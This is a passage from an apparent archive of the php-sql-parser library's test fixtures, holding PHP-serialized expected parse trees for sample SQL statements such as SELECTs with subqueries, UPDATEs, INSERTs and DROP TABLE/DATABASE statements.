:"NATURAL";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"rr.res_table";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:11:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"standard_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"standard_id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:24:"'ivo://ivoa.net/std/TAP'";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:11:"ivo_hasword";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:17:"table_description";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:17:"table_description";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'quasar'";s:8:"sub_tree";b:0;}}}i:7;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:8;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"ucd";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"ucd";}}s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:19:"'phot.mag;em.opt.V'";s:8:"sub_tree";b:0;}}}PK     \;jm    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue42.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:5:"const";s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:10:"some_alias";s:9:"base_expr";s:13:"AS some_alias";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"some_alias";}}s:8:"position";i:49;}s:9:"base_expr";s:41:"'a string with an escaped quote \' in it'";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:10:"some_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"some_table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:10:"some_table";s:8:"sub_tree";b:0;s:8:"position";i:68;}}}PK     \-v    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue67b.serializednu [        a:1:{s:3:"SET";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:6:"@a = 1";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:2:"@a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:4;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:7;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:9;}}s:8:"position";i:4;}}}PK     \6    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue36a.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:9:"base_expr";s:4:"test";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:16:"(`name`, `test`)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}}}}}s:6:"VALUES";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:21:"('\'Superman\'', ''),";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:14:"'\'Superman\''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:1;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:20:"('\'Superman\'', '')";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:14:"'\'Superman\''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \*:  :  H  vendor/greenlion/php-sql-parser/tests/expected/parser/update1.serializednu [        a:3:{s:6:"UPDATE";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"table1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"table1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"table1";s:8:"sub_tree";b:0;}}s:3:"SET";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:12:"field1='foo'";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'foo'";s:8:"sub_tree";b:0;}}}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field2";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'bar'";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:88:"(SELECT id FROM test1 t where t.field1=(SELECT id from test2 t2 where t2.field = 'foo'))";s:8:"sub_tree";a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"test1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"test1";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"test1 t";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"t.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"t";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:48:"(SELECT id from test2 t2 where t2.field = 'foo')";s:8:"sub_tree";a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"test2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"test2";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:9:"base_expr";s:2:"t2";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"test2 t2";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"t2.field";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:5:"field";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'foo'";s:8:"sub_tree";b:0;}}}}}}}}}PK     \sUm  m  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue79a.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"`users`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"users";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"`users`";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"id_user";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"id_user";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:8:"@ID_USER";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"ID_USER";}}s:8:"sub_tree";b:0;}}}PK     \;~u	  	  G  vendor/greenlion/php-sql-parser/tests/expected/parser/alias4.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:58:"(select colA AS a from testA) + (select colB b from testB)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:29:"(select colA AS a from testA)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"position";i:20;}s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:15;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"testA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"testA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"testA";s:8:"sub_tree";b:0;s:8:"position";i:30;}}}s:8:"position";i:7;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;s:8:"position";i:37;}i:2;a:4:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:26:"(select colB b from testB)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";s:8:"position";i:52;}s:9:"base_expr";s:4:"colB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colB";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:47;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"testB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"testB";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"testB";s:8:"sub_tree";b:0;s:8:"position";i:59;}}}s:8:"position";i:39;}}s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableC";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableC";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:9:"base_expr";s:1:"x";s:8:"position";i:78;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"tableC x";s:8:"sub_tree";b:0;s:8:"position";i:71;}}}PK     \nA  A  L  vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns2.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:5:"a * b";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"tests";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"tests";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"tests";s:8:"sub_tree";b:0;}}}PK     \\e    E  vendor/greenlion/php-sql-parser/tests/expected/parser/drop.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:5:"table";s:6:"option";s:7:"CASCADE";s:9:"if-exists";b:1;s:8:"sub_tree";a:5:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"table";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"if";s:8:"position";i:11;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"exists";s:8:"position";i:14;}i:3;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:3:"xyz";s:8:"sub_tree";a:1:{i:0;a:7:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"xyz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"xyz";}}s:5:"alias";b:0;s:9:"base_expr";s:3:"xyz";s:5:"delim";b:0;s:8:"position";i:21;}}s:8:"position";i:21;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"cascade";s:8:"position";i:25;}}}}PK     \?    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue30.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"foo.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:3:"foo";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:3:"foo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:9:"base_expr";s:3:"foo";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"test foo";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"RIGHT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"REPLACE";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"foo.bar";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"'(0'";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'a'";s:8:"sub_tree";b:0;}}}PK     \L@    J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue133a.serializednu [        a:3:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:9;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:11;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:16:"MDR1.Particles85";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:4:"MDR1";i:1;s:11:"Particles85";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:16:"MDR1.Particles85";s:8:"sub_tree";b:0;s:8:"position";i:18;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:4:"RAND";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"154321";s:8:"sub_tree";b:0;s:8:"position";i:46;}}s:8:"position";i:41;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<=";s:8:"sub_tree";b:0;s:8:"position";i:54;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"2.91E-5";s:8:"sub_tree";b:0;s:8:"position";i:57;}}}PK     \5ɐ{  {  H  vendor/greenlion/php-sql-parser/tests/expected/parser/update2.serializednu [        a:3:{s:6:"UPDATE";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:15:"SETTINGS_GLOBAL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"SETTINGS_GLOBAL";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:15:"SETTINGS_GLOBAL";s:8:"sub_tree";b:0;}}s:3:"SET";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:12:"stg_value=''";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"stg_value";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"stg_value";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"stg_name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"stg_name";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:11:"'force_ssl'";s:8:"sub_tree";b:0;}}}PK     \r    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74c.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:8:"database";s:6:"option";b:0;s:9:"if-exists";b:1;s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"DATABASE";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"IF";s:8:"position";i:14;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"EXISTS";s:8:"position";i:17;}i:3;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:4:"blah";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"database";s:9:"base_expr";s:4:"blah";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"blah";}}s:5:"delim";b:0;s:8:"position";i:24;}}s:8:"position";i:24;}}}}PK     \X' 0   0  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue44.serializednu [        a:4:{s:6:"SELECT";a:8:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"m.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:7:"m.title";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:5:"title";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:13;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"m.module";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:6:"module";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:22;}i:3;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:10:"m.position";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:8:"position";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:32;}i:4;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"m.content";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:7:"content";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:44;}i:5;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:11:"m.showtitle";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:9:"showtitle";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:55;}i:6;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"m.params";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:6:"params";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:68;}i:7;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"mm.menuid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"mm";i:1;s:6:"menuid";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:78;}}s:4:"FROM";a:3:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:13:"kj9un_modules";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"kj9un_modules";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"m";s:9:"base_expr";s:4:"AS m";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"m";}}s:8:"position";i:115;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:18:"kj9un_modules AS m";s:8:"sub_tree";b:0;s:8:"position";i:101;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:18:"kj9un_modules_menu";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"kj9un_modules_menu";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:2:"mm";s:9:"base_expr";s:5:"AS 